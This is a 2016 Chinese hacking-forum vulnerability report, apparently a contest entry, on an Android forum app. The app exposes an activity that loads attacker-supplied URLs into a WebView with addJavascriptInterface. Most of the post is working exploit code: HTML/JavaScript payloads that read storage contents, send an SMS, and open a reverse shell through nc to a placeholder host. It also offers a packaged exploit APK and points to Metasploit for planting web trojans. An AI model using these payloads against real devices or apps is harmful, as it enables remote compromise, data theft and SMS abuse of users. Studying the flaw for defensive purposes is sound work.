本帖最后由 wuyan 于 2016-3-23 21:49 编辑
===================================
红客联盟&Milw0rm有奖活动
===================================
只针对安卓版的,为什么不测ios的,第一,我不会,第二,我用不起iphone。本次只对安卓组件进行了测试,发现了蛮多漏洞的,当然利用起来相当困难,本地当然比不上远程的。
论坛app功能很简单,就是浏览,发帖回复之类的。但是由于开发者没有安全意识,导致出现命令执行,程序本地ddos等漏洞。
1.命令执行漏洞
老生常谈的问题,webview出现的问题,由于activity组件暴露,导致可以传入任意数据,插入恶意链接挂马之类的。可以直接用apktool等反编译。得到相关目录,主要看配置文件AndroidManifest.xml。发现很多组件暴露,有一个名字引起了我的注意,没错就是箭头部分。
可以看到,是允许被第三方程序调用的,跟进,看看具体的代码是怎样写的。没有任何干扰,直接可以反编译得到java代码。
代码不多,大概解释下,其中函数 initDatas的作用是初始化一些参数的值。好,那么值从哪里来getIntent().getStringExtra(“webViewUrl”)等等,没错,intent传输过来的键值对,那么意味着我们可以控制,继续跟进发现。
WebViewFragment类,骚年,我不知道你看到了PLUGIN_STR没有,当然并不是我们的重点。反正最后一路跟踪到了webview,loadUrl里面传的参数就是我们前面通过intent.getStringExtra(“webViewUrl”)得过来的。
MCWebView类里面又调用addJavascriptInterface
那么一个完美的代码执行漏洞就产生了,当然这是谷歌的问题,在安卓低于4.2版本中webview调用addJavascriptInterface()接口会造成代码执行漏洞,具体的漏洞产生原因可以百度。
受影响的系统:
安卓版本4.2以下
漏洞利用:
写一段小代码来利用吧,我们尝试的利用这个漏洞读出内存卡里面的信息。
然后我们再接着写下安卓利用程序,很简单的一个demo。
下面提供几段代码
1.列出储存卡下的文件信息
[HTML] 纯文本查看 复制代码 <html>
<body>
<script>
function execute(cmdArgs)
{
return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
var res = execute(["/system/bin/sh", "-c", "ls -al /mnt/sdcard/"]);
document.write(getContents(res.getInputStream()));
</script>
</body>
</html>
2.用10086发送一条短信
[HTML] 纯文本查看 复制代码 <html>
<body>
<script>
var objSmsManager = injectedObj.getClass().forName("android.telephony.SmsManager").getM ethod("getDefault",null).invoke(null,null);
objSmsManager.sendTextMessage("10086",null,"this message is sent by JS when webview is loading",null,null);
</script>
</body>
</html>
3.反弹shell
[HTML] 纯文本查看 复制代码 <html>
<body>
<script>
function execute(cmdArgs)
{
return injectedObj.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
execute(["/system/bin/sh","-c","rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/system/bin/sh -i 2>&1|nc x.x.x.x 9099 >/tmp/f"]);
</script>
</body>
</html>
(ps:这段js代码的意思就是列出储存卡里面的文件)
首先将这写html代码保存上传到你的服务器,然后在
填入对应的链接就ok了。挂马啥的,挂网马啥的直接用msf测试吧。
总结:
安卓app漏洞(除网站接口暴露导致的web问题)利用起来本身就比较困难,还有其他几个漏洞危害也是微乎其微,就不写了。利用程序已打包,请自行下载。
HackApp.zip
(496.04 KB, 下载次数: 10)
解压后安装里面的apk |